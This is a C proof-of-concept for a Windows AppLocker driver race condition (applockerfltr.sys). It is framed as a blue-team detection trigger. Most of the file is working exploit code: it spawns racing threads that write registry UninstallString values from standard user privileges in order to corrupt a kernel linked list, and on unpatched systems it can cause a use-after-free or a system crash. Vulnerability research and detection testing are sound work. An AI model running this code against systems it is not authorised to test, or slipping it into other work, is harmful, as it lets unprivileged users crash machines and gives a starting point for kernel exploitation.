/*
 * poc_cve_2026_25184.c — Trigger PoC for CVE-2026-25184
 * applockerfltr.sys TOCTOU Race in SmRegisterUninstallStringWithSessionOrigin
 *
 * PURPOSE:  Blue-team trigger to validate detection rules. This PoC
 *           reproduces the linked-list corruption race on UNPATCHED systems.
 *           On patched systems it completes cleanly with no crash.
 *
 * BUILD:    cl.exe /W4 /O2 poc_cve_2026_25184.c /link advapi32.lib
 *
 * USAGE:    poc_cve_2026_25184.exe [thread_count] [iterations]
 *           Defaults: 8 threads, 5000 iterations per thread
 *
 * REQUIRES: - Standard user privileges (no admin needed)
 *           - AppLocker must be active (Group Policy: AppIDSvc running)
 *           - Enable Driver Verifier on applockerfltr.sys for reliable crash
 *
 * WHAT IT DOES:
 *   1. Creates multiple threads, each rapidly writing UninstallString values
 *      to unique subkeys under HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\
 *   2. Each registry write triggers SmpRegistryCallback → SmRegisterUninstallStringWithSessionOrigin
 *   3. Under the shared lock, the linked-list insertion races across threads
 *   4. Corruption of the doubly-linked list leads to use-after-free on
 *      subsequent list walks (or immediate BSOD with Driver Verifier)
 *
 * EXPECTED RESULT:
 *   Pre-patch:  BSOD (BAD_POOL_CALLER or PAGE_FAULT_IN_NONPAGED_AREA in
 *               applockerfltr!SmRegisterUninstallStringWithSessionOrigin)
 *   Post-patch: Clean completion (exclusive lock serializes insertions)
 *
 * VULNERABILITY DETAILS:
 *   SmRegisterUninstallStringWithSessionOrigin acquires the track ERESOURCE
 *   in shared mode (SmAcquireTrackLock) before performing a linked-list
 *   insertion — a write operation. Multiple threads can hold the shared lock
 *   simultaneously, causing the four-pointer doubly-linked-list update to
 *   interleave and corrupt forward/backward pointers.
 *
 *   Fix: Feature_423566650 gates SmAcquireTrackLockExclusive() which calls
 *   FltAcquireResourceExclusive() instead, serializing all writers.
 *
 * Trigger path:
 *   RegSetValueExW(hKey, L"UninstallString", ...)
 *     → nt!CmRegistryCallback
 *       → applockerfltr!SmpRegistryCallback
 *         → SmRegisterUninstallStringWithSessionOrigin
 *           → SmAcquireTrackLock()            ← shared lock (BUG)
 *           → SmAllocUninstallStringData()
 *           → [linked-list insert]            ← race here
 *           → SmReleaseTrackLock()
 *
 * Author: OnlyFm252 / STAR Labs SG
 * Date:   2026-07-22
 * CVE:    CVE-2026-25184
 *
 * DISCLAIMER: For authorized security testing and blue-team validation ONLY.
 */

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "advapi32.lib")

/* ── Configuration ─────────────────────────────────────────────────── */

#define DEFAULT_THREADS     8
#define DEFAULT_ITERATIONS  5000
#define SUBKEY_PREFIX       L"CVE2026_25184_Race_"

static volatile LONG g_ready = 0;
static volatile LONG g_stop = 0;
static volatile LONG g_writes_done = 0;
static volatile LONG g_errors = 0;
static HANDLE g_start_event = NULL;

static int g_iterations = DEFAULT_ITERATIONS;

/* ── Race worker thread ────────────────────────────────────────────── */

/*
 * Each thread creates its own Uninstall subkey and rapidly writes
 * UninstallString values to it. The registry callback fires synchronously
 * in our thread context, entering SmRegisterUninstallStringWithSessionOrigin
 * under the shared lock. With N threads doing this simultaneously, the
 * linked-list insertion races.
 */
static DWORD WINAPI race_worker(LPVOID param)
{
    int thread_id = (int)(ULONG_PTR)param;
    HKEY hKey = NULL;
    WCHAR subkey[256];
    WCHAR value[512];
    LONG status;

    /* Create a unique subkey for this thread */
    swprintf_s(subkey, 256,
        L"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" SUBKEY_PREFIX L"%d",
        thread_id);

    status = RegCreateKeyExW(HKEY_CURRENT_USER, subkey, 0, NULL,
                             REG_OPTION_VOLATILE,  /* Don't persist to disk */
                             KEY_SET_VALUE | KEY_QUERY_VALUE,
                             NULL, &hKey, NULL);
    if (status != ERROR_SUCCESS) {
        printf("[T%d] RegCreateKeyExW failed: %ld\n", thread_id, status);
        InterlockedIncrement(&g_errors);
        return 1;
    }

    /* Signal ready and wait for all threads to start simultaneously */
    InterlockedIncrement(&g_ready);
    WaitForSingleObject(g_start_event, INFINITE);

    for (int i = 0; i < g_iterations && !g_stop; i++) {
        /*
         * Write a unique UninstallString value each iteration.
         * Each write triggers:
         *   CmRegistryCallback → SmpRegistryCallback →
         *     SmRegisterUninstallStringWithSessionOrigin
         *
         * The callback acquires SmAcquireTrackLock() (shared) and then
         * inserts a new node into the doubly-linked list. With all threads
         * racing here, the insertion's four-pointer update can interleave.
         */
        swprintf_s(value, 512,
            L"C:\\Windows\\System32\\msiexec.exe /x {%08X-%04X-%04X-%04X-%012X} /qn",
            thread_id * 100000 + i,
            (USHORT)(thread_id & 0xFFFF),
            (USHORT)(i & 0xFFFF),
            (USHORT)((thread_id ^ i) & 0xFFFF),
            (ULONG)(thread_id * 0x1000 + i));

        status = RegSetValueExW(hKey, L"UninstallString", 0, REG_SZ,
                                (const BYTE *)value,
                                (DWORD)((wcslen(value) + 1) * sizeof(WCHAR)));

        if (status == ERROR_SUCCESS) {
            InterlockedIncrement(&g_writes_done);
        } else {
            InterlockedIncrement(&g_errors);
        }

        /*
         * Also write QuietUninstallString — another path that may trigger
         * the same registry callback, doubling our race pressure.
         */
        status = RegSetValueExW(hKey, L"QuietUninstallString", 0, REG_SZ,
                                (const BYTE *)value,
                                (DWORD)((wcslen(value) + 1) * sizeof(WCHAR)));

        if (status == ERROR_SUCCESS) {
            InterlockedIncrement(&g_writes_done);
        }

        /* Vary timing to hit different interleaving windows */
        if (i % 100 == 0) SwitchToThread();
    }

    RegCloseKey(hKey);
    return 0;
}

/* ── Cleanup: delete all race subkeys ──────────────────────────────── */

static void cleanup_registry(int thread_count)
{
    WCHAR subkey[256];
    for (int i = 0; i < thread_count; i++) {
        swprintf_s(subkey, 256,
            L"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" SUBKEY_PREFIX L"%d",
            i);
        RegDeleteKeyW(HKEY_CURRENT_USER, subkey);
    }
}

/* ── Check if AppLocker is active ──────────────────────────────────── */

static BOOL is_applocker_active(void)
{
    SC_HANDLE hSCM, hSvc;
    SERVICE_STATUS_PROCESS ssp;
    DWORD needed;
    BOOL active = FALSE;

    hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT);
    if (!hSCM) return FALSE;

    hSvc = OpenServiceW(hSCM, L"AppIDSvc", SERVICE_QUERY_STATUS);
    if (hSvc) {
        if (QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO,
                                  (LPBYTE)&ssp, sizeof(ssp), &needed)) {
            active = (ssp.dwCurrentState == SERVICE_RUNNING);
        }
        CloseServiceHandle(hSvc);
    }
    CloseServiceHandle(hSCM);
    return active;
}

/* ── Main ──────────────────────────────────────────────────────────── */

int wmain(int argc, wchar_t *argv[])
{
    int thread_count = DEFAULT_THREADS;
    HANDLE *threads;

    if (argc >= 2) thread_count = _wtoi(argv[1]);
    if (argc >= 3) g_iterations = _wtoi(argv[2]);

    if (thread_count < 2) thread_count = 2;
    if (thread_count > 64) thread_count = 64;
    if (g_iterations < 100) g_iterations = 100;

    printf("=== CVE-2026-25184 Trigger PoC ===\n");
    printf("=== AppLocker Linked-List Race (applockerfltr.sys) ===\n");
    printf("=== FOR DEFENSIVE RESEARCH ONLY ===\n\n");

    /* Check prerequisites */
    if (!is_applocker_active()) {
        printf("[!] WARNING: AppIDSvc is not running.\n");
        printf("[!] AppLocker must be active for the registry callback to fire.\n");
        printf("[!] Enable AppLocker via Group Policy or run:\n");
        printf("[!]   sc start AppIDSvc\n");
        printf("[!] Continuing anyway (the race may not trigger)...\n\n");
    } else {
        printf("[+] AppIDSvc is running — AppLocker is active.\n\n");
    }

    printf("[*] Configuration:\n");
    printf("    Threads:    %d\n", thread_count);
    printf("    Iterations: %d per thread\n", g_iterations);
    printf("    Total writes: ~%d\n\n", thread_count * g_iterations * 2);

    /* Clean up from any prior run */
    cleanup_registry(thread_count);

    threads = (HANDLE *)calloc(thread_count, sizeof(HANDLE));
    if (!threads) {
        printf("[!] Memory allocation failed\n");
        return 1;
    }

    g_start_event = CreateEventW(NULL, TRUE, FALSE, NULL);  /* Manual-reset */

    /* ── Phase 1: Create threads ──────────────────────────────────── */

    printf("[*] Phase 1: Spawning %d race threads...\n", thread_count);

    for (int i = 0; i < thread_count; i++) {
        threads[i] = CreateThread(NULL, 0, race_worker,
                                  (LPVOID)(ULONG_PTR)i, 0, NULL);
        if (!threads[i]) {
            printf("[!] CreateThread %d failed: %lu\n", i, GetLastError());
            g_stop = 1;
            break;
        }
    }

    /* Wait for all threads to be ready */
    while (g_ready < thread_count && !g_stop) Sleep(10);

    /* ── Phase 2: Fire the race ───────────────────────────────────── */

    printf("[*] Phase 2: All threads ready — starting race!\n");
    printf("[!] WARNING: On unpatched systems with Driver Verifier, this may BSOD!\n\n");

    DWORD start_tick = GetTickCount();
    SetEvent(g_start_event);

    /* Wait for all threads to complete */
    WaitForMultipleObjects(thread_count, threads, TRUE, 120000);
    DWORD elapsed = GetTickCount() - start_tick;

    /* ── Results ──────────────────────────────────────────────────── */

    printf("\n[*] Race complete in %lu ms\n", elapsed);
    printf("    Successful writes: %ld\n", g_writes_done);
    printf("    Errors:            %ld\n", g_errors);
    printf("    Write rate:        %.0f writes/sec\n",
           g_writes_done * 1000.0 / (elapsed ? elapsed : 1));

    if (g_stop) {
        printf("\n[!] Race stopped early — possible crash or corruption!\n");
        printf("[!] SYSTEM MAY BE VULNERABLE to CVE-2026-25184\n");
    } else {
        printf("\n[*] Race completed without visible crash.\n");
        printf("[*] On unpatched systems:\n");
        printf("    - With Driver Verifier: expect BSOD (BAD_POOL_CALLER or\n");
        printf("      PAGE_FAULT_IN_NONPAGED_AREA in applockerfltr.sys)\n");
        printf("    - Without Verifier: corruption may be silent (check for\n");
        printf("      pool corruption events in Event Log)\n");
        printf("[*] On patched systems (Feature_423566650 enabled):\n");
        printf("    - SmAcquireTrackLockExclusive serializes all writers\n");
        printf("    - No race possible, clean completion expected\n");
    }

    /* ── Cleanup ──────────────────────────────────────────────────── */

    printf("\n[*] Cleaning up...\n");

    for (int i = 0; i < thread_count; i++) {
        if (threads[i]) CloseHandle(threads[i]);
    }
    CloseHandle(g_start_event);
    free(threads);

    cleanup_registry(thread_count);

    printf("[+] Done.\n");
    return 0;
}
